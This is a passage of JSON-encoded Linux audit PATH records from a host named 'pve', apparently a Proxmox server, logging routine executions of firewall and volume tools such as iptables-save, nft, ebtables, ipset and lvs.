rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736000,"@rawstring":"node=pve type=PATH msg=audit(1781964736.000:62367): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736000,"@rawstring":"node=pve type=PATH msg=audit(1781964736.000:62367): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964735994,"@rawstring":"node=pve type=PATH msg=audit(1781964735.994:62366): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964735994,"@rawstring":"node=pve type=PATH msg=audit(1781964735.994:62366): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964735991,"@rawstring":"node=pve type=PATH msg=audit(1781964735.991:62365): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964735991,"@rawstring":"node=pve type=PATH msg=audit(1781964735.991:62365): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964735988,"@rawstring":"node=pve type=PATH msg=audit(1781964735.988:62364): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964735988,"@rawstring":"node=pve type=PATH msg=audit(1781964735.988:62364): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964735987,"@rawstring":"node=pve type=PATH msg=audit(1781964735.987:62363): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964735987,"@rawstring":"node=pve type=PATH msg=audit(1781964735.987:62363): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964735987,"@rawstring":"node=pve type=PATH msg=audit(1781964735.987:62362): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964735983,"@rawstring":"node=pve type=PATH msg=audit(1781964735.983:62361): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964735983,"@rawstring":"node=pve type=PATH msg=audit(1781964735.983:62361): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964735983,"@rawstring":"node=pve type=PATH msg=audit(1781964735.983:62361): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964735977,"@rawstring":"node=pve type=PATH msg=audit(1781964735.977:62360): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964735977,"@rawstring":"node=pve type=PATH msg=audit(1781964735.977:62360): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964735970,"@rawstring":"node=pve type=PATH msg=audit(1781964735.970:62359): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964735970,"@rawstring":"node=pve type=PATH msg=audit(1781964735.970:62359): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964735966,"@rawstring":"node=pve type=PATH msg=audit(1781964735.966:62358): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964735966,"@rawstring":"node=pve type=PATH msg=audit(1781964735.966:62358): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964735960,"@rawstring":"node=pve type=PATH msg=audit(1781964735.960:62357): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964735960,"@rawstring":"node=pve type=PATH msg=audit(1781964735.960:62357): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964735954,"@rawstring":"node=pve type=PATH msg=audit(1781964735.954:62356): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964735954,"@rawstring":"node=pve type=PATH msg=audit(1781964735.954:62356): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964735461,"@rawstring":"node=pve type=PATH msg=audit(1781964735.461:62355): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964735461,"@rawstring":"node=pve type=PATH msg=audit(1781964735.461:62355): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964735461,"@rawstring":"node=pve type=PATH msg=audit(1781964735.461:62354): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964735461,"@rawstring":"node=pve type=PATH msg=audit(1781964735.461:62353): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964735452,"@rawstring":"node=pve type=PATH msg=audit(1781964735.452:62352): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964735452,"@rawstring":"node=pve type=PATH msg=audit(1781964735.452:62352): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964735452,"@rawstring":"node=pve type=PATH msg=audit(1781964735.452:62351): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964735452,"@rawstring":"node=pve type=PATH msg=audit(1781964735.452:62350): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964734305,"@rawstring":"node=pve type=PATH msg=audit(1781964734.305:62349): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964734305,"@rawstring":"node=pve type=PATH msg=audit(1781964734.305:62349): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964734273,"@rawstring":"node=pve type=PATH msg=audit(1781964734.273:62348): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964734273,"@rawstring":"node=pve type=PATH msg=audit(1781964734.273:62348): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964730446,"@rawstring":"node=pve type=PATH msg=audit(1781964730.446:62347): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964730446,"@rawstring":"node=pve type=PATH msg=audit(1781964730.446:62347): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964730446,"@rawstring":"node=pve type=PATH msg=audit(1781964730.446:62346): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964730446,"@rawstring":"node=pve type=PATH msg=audit(1781964730.446:62345): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964730439,"@rawstring":"node=pve type=PATH msg=audit(1781964730.439:62344): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964730439,"@rawstring":"node=pve type=PATH msg=audit(1781964730.439:62344): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964730439,"@rawstring":"node=pve type=PATH msg=audit(1781964730.439:62343): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964730439,"@rawstring":"node=pve type=PATH msg=audit(1781964730.439:62342): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725943,"@rawstring":"node=pve type=PATH msg=audit(1781964725.943:62341): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725943,"@rawstring":"node=pve type=PATH msg=audit(1781964725.943:62341): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725940,"@rawstring":"node=pve type=PATH msg=audit(1781964725.940:62340): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725940,"@rawstring":"node=pve type=PATH msg=audit(1781964725.940:62340): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725939,"@rawstring":"node=pve type=PATH msg=audit(1781964725.939:62339): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725939,"@rawstring":"node=pve type=PATH msg=audit(1781964725.939:62339): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725939,"@rawstring":"node=pve type=PATH msg=audit(1781964725.939:62338): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725935,"@rawstring":"node=pve type=PATH msg=audit(1781964725.935:62337): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725935,"@rawstring":"node=pve type=PATH msg=audit(1781964725.935:62337): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725935,"@rawstring":"node=pve type=PATH msg=audit(1781964725.935:62337): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725928,"@rawstring":"node=pve type=PATH msg=audit(1781964725.928:62336): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725928,"@rawstring":"node=pve type=PATH msg=audit(1781964725.928:62336): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725922,"@rawstring":"node=pve type=PATH msg=audit(1781964725.922:62335): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725922,"@rawstring":"node=pve type=PATH msg=audit(1781964725.922:62335): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725916,"@rawstring":"node=pve type=PATH msg=audit(1781964725.916:62334): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725916,"@rawstring":"node=pve type=PATH msg=audit(1781964725.916:62334): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725910,"@rawstring":"node=pve type=PATH msg=audit(1781964725.910:62333): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725910,"@rawstring":"node=pve type=PATH msg=audit(1781964725.910:62333): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725904,"@rawstring":"node=pve type=PATH msg=audit(1781964725.904:62331): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725904,"@rawstring":"node=pve type=PATH msg=audit(1781964725.904:62331): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725899,"@rawstring":"node=pve type=PATH msg=audit(1781964725.899:62330): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725899,"@rawstring":"node=pve type=PATH msg=audit(1781964725.899:62330): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725895,"@rawstring":"node=pve type=PATH msg=audit(1781964725.895:62329): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725895,"@rawstring":"node=pve type=PATH msg=audit(1781964725.895:62329): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725890,"@rawstring":"node=pve type=PATH msg=audit(1781964725.890:62328): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725890,"@rawstring":"node=pve type=PATH msg=audit(1781964725.890:62328): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725884,"@rawstring":"node=pve type=PATH msg=audit(1781964725.884:62327): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725884,"@rawstring":"node=pve type=PATH msg=audit(1781964725.884:62327): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725880,"@rawstring":"node=pve type=PATH msg=audit(1781964725.880:62326): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725880,"@rawstring":"node=pve type=PATH msg=audit(1781964725.880:62326): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725874,"@rawstring":"node=pve type=PATH msg=audit(1781964725.874:62325): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725874,"@rawstring":"node=pve type=PATH msg=audit(1781964725.874:62325): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725868,"@rawstring":"node=pve type=PATH msg=audit(1781964725.868:62324): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725868,"@rawstring":"node=pve type=PATH msg=audit(1781964725.868:62324): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725864,"@rawstring":"node=pve type=PATH msg=audit(1781964725.864:62323): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725864,"@rawstring":"node=pve type=PATH msg=audit(1781964725.864:62323): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725860,"@rawstring":"node=pve type=PATH msg=audit(1781964725.860:62322): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725860,"@rawstring":"node=pve type=PATH msg=audit(1781964725.860:62322): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725860,"@rawstring":"node=pve type=PATH msg=audit(1781964725.860:62321): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725860,"@rawstring":"node=pve type=PATH msg=audit(1781964725.860:62321): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725860,"@rawstring":"node=pve type=PATH msg=audit(1781964725.860:62320): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725857,"@rawstring":"node=pve type=PATH msg=audit(1781964725.857:62319): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725857,"@rawstring":"node=pve type=PATH msg=audit(1781964725.857:62319): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725857,"@rawstring":"node=pve type=PATH msg=audit(1781964725.857:62319): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725850,"@rawstring":"node=pve type=PATH msg=audit(1781964725.850:62318): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725850,"@rawstring":"node=pve type=PATH msg=audit(1781964725.850:62318): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725844,"@rawstring":"node=pve type=PATH msg=audit(1781964725.844:62317): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725844,"@rawstring":"node=pve type=PATH msg=audit(1781964725.844:62317): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725840,"@rawstring":"node=pve type=PATH msg=audit(1781964725.840:62316): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725840,"@rawstring":"node=pve type=PATH msg=audit(1781964725.840:62316): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964725834,"@rawstring":"node=pve type=PATH msg=audit(1781964725.834:62315): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" 